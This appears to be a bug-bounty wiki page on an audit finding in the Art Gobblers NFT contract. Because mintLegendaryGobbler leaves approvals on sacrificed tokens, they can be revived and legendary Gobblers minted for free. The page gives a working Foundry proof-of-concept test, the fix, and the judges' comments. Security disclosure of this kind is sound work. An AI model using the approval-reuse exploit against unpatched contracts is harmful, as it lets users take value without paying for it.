Can Recover Gobblers Burnt In Legendary Mint
The mintLegendaryGobbler function did not clear token approvals when sacrificing Gobblers, so the previous owner could transfer the burnt tokens back to themselves. This allowed minting legendary Gobblers for free, bypassing the intended cost.
Submitted by philogy, also found by auditor0517, bin2chen, cccz, hansfriese, hyh, KIntern_NA, ladboy233, m9800, pauliax, pedroais, ronnyx2017, wagmi, wastewa, and zzykxx
ArtGobblers.sol#L432 ArtGobblers.sol#L890
Allows users to mint legendary Gobblers for free assuming they have the necessary amount of Gobblers to begin with. This is achieved by “reviving” sacrificed Gobblers after having called mintLegendaryGobbler.
Severity Justification
This vulnerability allows the violation of the fundamental mechanics of in-scope contracts, allowing buyers to purchase legendary Gobblers at almost no cost outside of temporary liquidity requirements which can be reduced via the use of NFT flashloans.
Proof of Concept
Add the following code to the ArtGobblersTest contract in test/ArtGobblers.t.sol and run the test via forge test --match-test testCanReuseSacrificedGobblers -vvv:
function testCanReuseSacrificedGobblers() public {
address user = users[0];
// setup legendary mint
uint256 startTime = block.timestamp + 30 days;
vm.warp(startTime);
mintGobblerToAddress(user, gobblers.LEGENDARY_AUCTION_INTERVAL());
uint256 cost = gobblers.legendaryGobblerPrice();
assertEq(cost, 69);
setRandomnessAndReveal(cost, "seed");
for (uint256 curId = 1; curId <= cost; curId++) {
ids.push(curId);
assertEq(gobblers.ownerOf(curId), users[0]);
}
// do token approvals for vulnerability exploit
vm.startPrank(user);
for (uint256 i = 0; i < ids.length; i++) {
gobblers.approve(user, ids[i]);
}
vm.stopPrank();
// mint legendary
vm.prank(user);
uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids);
// confirm user owns legendary
assertEq(gobblers.ownerOf(mintedLegendaryId), user);
// show that contract initially thinks tokens are burnt
for (uint256 i = 0; i < ids.length; i++) {
hevm.expectRevert("NOT_MINTED");
gobblers.ownerOf(ids[i]);
}
// "revive" burnt tokens by transferring from zero address with approval
// which was not reset
vm.startPrank(user);
for (uint256 i = 0; i < ids.length; i++) {
gobblers.transferFrom(address(0), user, ids[i]);
assertEq(gobblers.ownerOf(ids[i]), user);
}
vm.stopPrank();
}
Recommended Mitigation Steps
Ensure token ownership is reset in the for-loop of the mintLegendaryGobbler method. Alternatively to reduce the gas cost of mintLegendaryGobbler by saving on the approval deletion, simply check the from address in transferFrom, revert if it’s address(0). Note that the latter version would also require changing the getApproved view method such that it checks the owner of the token and returns the zero-address if the owner is zero, otherwise the getApproved method would return the old owner after the underlying Gobbler was sacrificed.
FrankieIsLost (Art Gobblers) confirmed and commented:
Great find. Agree with severity. Here is the fix: https://github.com/artgobblers/art-gobblers/pull/151
Alex the Entreprenerd (judge) commented:
The Warden has shown how, because the approvals field was not cleared, an owner could “bring back a Gobbler from the dead”, allowing them to mint legendary Gobblers for free.
The sponsor has mitigated the issue by clearing the
getApprovedfield.Because this finding breaks protocol invariants, and would allow to sidestep the cost to mint a Legendary Gobbler, I agree with High Severity.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The mintLegendaryGobbler function did not reset token ownership or clear approvals for the sacrificed Gobblers, leaving the previous owner's approval intact.
What the attacker needed
Own enough Gobblers to sacrifice; temporary liquidity (can be reduced with flashloans)
The fix
The issue was fixed by clearing the getApproved field when a Gobbler is sacrificed.
How it was found
- Set up a legendary mint by advancing time and minting enough Gobblers.
- Approve the user for all Gobblers to be sacrificed.
- Call mintLegendaryGobbler with the IDs of the Gobblers to sacrifice.
- Confirm the user owns the newly minted legendary Gobbler.
- Show that the sacrificed Gobblers are burnt (ownerOf reverts).
- Transfer the burnt Gobblers from the zero address back to the user using the leftover approval.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you sacrifice Gobblers to mint a legendary one, the contract marks them as burnt but forgets to remove the permission you gave it to move them. Because that permission remains, you can later tell the contract to transfer those 'burnt' tokens back to yourself, effectively getting the sacrificed Gobblers back while keeping the legendary one.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.